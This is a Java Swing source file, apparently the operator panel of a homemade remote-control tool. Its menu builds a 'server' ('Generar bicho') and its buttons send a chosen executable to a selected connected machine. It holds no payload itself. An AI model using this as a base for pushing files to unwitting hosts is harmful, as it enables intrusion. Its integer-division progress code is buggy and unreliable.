import java.awt.BorderLayout;
import java.awt.EventQueue;

import javax.swing.JFrame;
import javax.swing.JPanel;
import javax.swing.border.EmptyBorder;
import javax.swing.JLabel;
import java.awt.Font;

import javax.swing.JFileChooser;
import javax.swing.JProgressBar;
import javax.swing.JButton;
import javax.swing.ImageIcon;
import java.awt.event.ActionListener;
import java.awt.event.ActionEvent;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.OutputStream;

import javax.swing.JTextArea;
import java.awt.Color;
import javax.swing.JMenuBar;
import javax.swing.JMenuItem;
import javax.swing.JMenu;


public class ventanaenvia extends JFrame {

	private JPanel contentPane;
    public String route;
    public static int flen;
    File files;
    
    OutputStream os1 ;
    public static JProgressBar progressBar; //declaramos un jprogressbar con acceso público
    public static JProgressBar progressBar_1;
    
	/**
	 * Launch the application.
	 */
	public  void mainEnv() {
		EventQueue.invokeLater(new Runnable() {
			public void run() {
				try {
					ventanaenvia frame = new ventanaenvia();
					frame.setVisible(true);
				} catch (Exception e) {
					e.printStackTrace();
				}
			}
		});
	}

	/**
	 * Create the frame.
	 */
	public ventanaenvia() {// empieza el constructor a añadir cosas a la gui
		setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
		setBounds(100, 100, 450, 300);
		
		JMenuBar menuBar = new JMenuBar();
		menuBar.setToolTipText("Build a server");
		setJMenuBar(menuBar);
		
		JMenu mnNewMenu = new JMenu("Build");
		menuBar.add(mnNewMenu);
		
		JMenuItem mntmNewMenuItem = new JMenuItem("Generar bicho xD");
		mntmNewMenuItem.setSelected(false);
		mntmNewMenuItem.addActionListener(//añadimos un actionlistener para el mouse xD
				new ActionListener(){
					public void actionPerformed(ActionEvent ev) {ventanabuild vb = new ventanabuild(); vb.main(null);}
					
				}
		
		);
		mnNewMenu.add(mntmNewMenuItem);
		contentPane = new JPanel();
		contentPane.setBorder(new EmptyBorder(5, 5, 5, 5));
		setContentPane(contentPane);
		contentPane.setLayout(null);
		setLocation(500, 300);
		JLabel lblEscojaSuArchivo = new JLabel("Escoja su archivo a enviar");
		lblEscojaSuArchivo.setFont(new Font("Arial", Font.BOLD, 17));
		lblEscojaSuArchivo.setBounds(51, 75, 240, 20);
		contentPane.add(lblEscojaSuArchivo);
		
		progressBar = new JProgressBar();
		progressBar.setBounds(48, 159, 329, 19);
		contentPane.add(progressBar);
		int maxpro =progressBar.getMaximum();
		//System.out.println(maxpro);

		
		JLabel label = new JLabel("");
		label.setIcon(new ImageIcon("awso.JPG"));//usa recurso d imagen en el jar , me fue jodido encontrar haceelo xD
		label.setBounds(228, 56, 214, 210);
		contentPane.add(label);
		
		final JTextArea txtrAEscojer = new JTextArea();
		txtrAEscojer.setBackground(Color.DARK_GRAY);
		txtrAEscojer.setForeground(Color.RED);
		txtrAEscojer.setText("A escojer");
		txtrAEscojer.setBounds(10, 106, 422, 22);
		contentPane.add(txtrAEscojer);
		
		JButton btnEscojaXd = new JButton("Escoja xD");
		btnEscojaXd.addActionListener(new ActionListener() {  //INICIO BUTTON
			public void actionPerformed(ActionEvent arg0) {
				String temp;
				JFileChooser jfk = new JFileChooser();//abre una ventana para elegir el file exe a enviar
				jfk.setFileSelectionMode(JFileChooser.FILES_ONLY);
				jfk.showOpenDialog(null);
				
				 files = jfk.getSelectedFile();
				 temp = files.toString();
				  txtrAEscojer.setText("");
				 txtrAEscojer.append(temp);
				 flen =  (int) files.length();//flen tiene acceso libre y es público y estático xDD
				System.out.println(files.length());
			}
		});
		btnEscojaXd.setFont(new Font("Arial", Font.BOLD, 12));
		btnEscojaXd.setBounds(288, 76, 89, 23);
		contentPane.add(btnEscojaXd);						//FIN BUUTTON
		
		JButton btnNewButton = new JButton("Send");
		btnNewButton.addActionListener(new ActionListener() {
			public void actionPerformed(ActionEvent arg0) {
				try {
					Processor.ks[Servidor.jc.getSelectedIndex()].writeObject("file");//Envia al d la cajita
					os1 = Processor.sck[Servidor.jc.getSelectedIndex()].getOutputStream();
				} catch (IOException e) {
					// TODO Auto-generated catch block
					e.printStackTrace();
				}
				try {										//no tengo idea de porque es nEcesario las dos exceptions
					ByteStream.toStream(os1, files);	//Envía files
				} catch (FileNotFoundException e) {
					// TODO Auto-generated catch block
					e.printStackTrace();
				} catch (IOException e) {
					// TODO Auto-generated catch block
					e.printStackTrace();
				}
			}
		});
		btnNewButton.setBounds(285, 125, 89, 23);
		contentPane.add(btnNewButton);
		
		JLabel lblNewLabel = new JLabel("Descarga");
		lblNewLabel.setBounds(10, 189, 59, 14);
		contentPane.add(lblNewLabel);
		
		 progressBar_1 = new JProgressBar();
		progressBar_1.setForeground(Color.RED);
		progressBar_1.setBounds(48, 214, 177, 19);
		contentPane.add(progressBar_1);
	}
	public void Enviafile(File ftemp) throws IOException{
		OutputStream osftemp = Processor.sck[Servidor.jc.getSelectedIndex()].getOutputStream();
		ByteStream.toStream(osftemp, ftemp);
	}
	public static void subirprogress( int fprogress){//int flen,
		//kalkular tanto por xiento de 100 de dos números no cada uno xD
		int result = flen / fprogress;
		int perxent = 100/ result;
		//int aver = perxent
		progressBar.setValue(perxent);
	}
	public static void subirprogress1( int fprogress,int longitud){//int flen,
		//kalkular tanto por xiento de 100 de dos números no cada uno xD
		int len = longitud;
		System.out.println(len);
		System.out.println(fprogress);
		int result = len / fprogress+1;
		System.out.println(result);
				int perxent1 = 100 / result+1;
				System.out.println(perxent1);
		//int aver = perxent
		progressBar_1.setValue(perxent1);
	}	
}


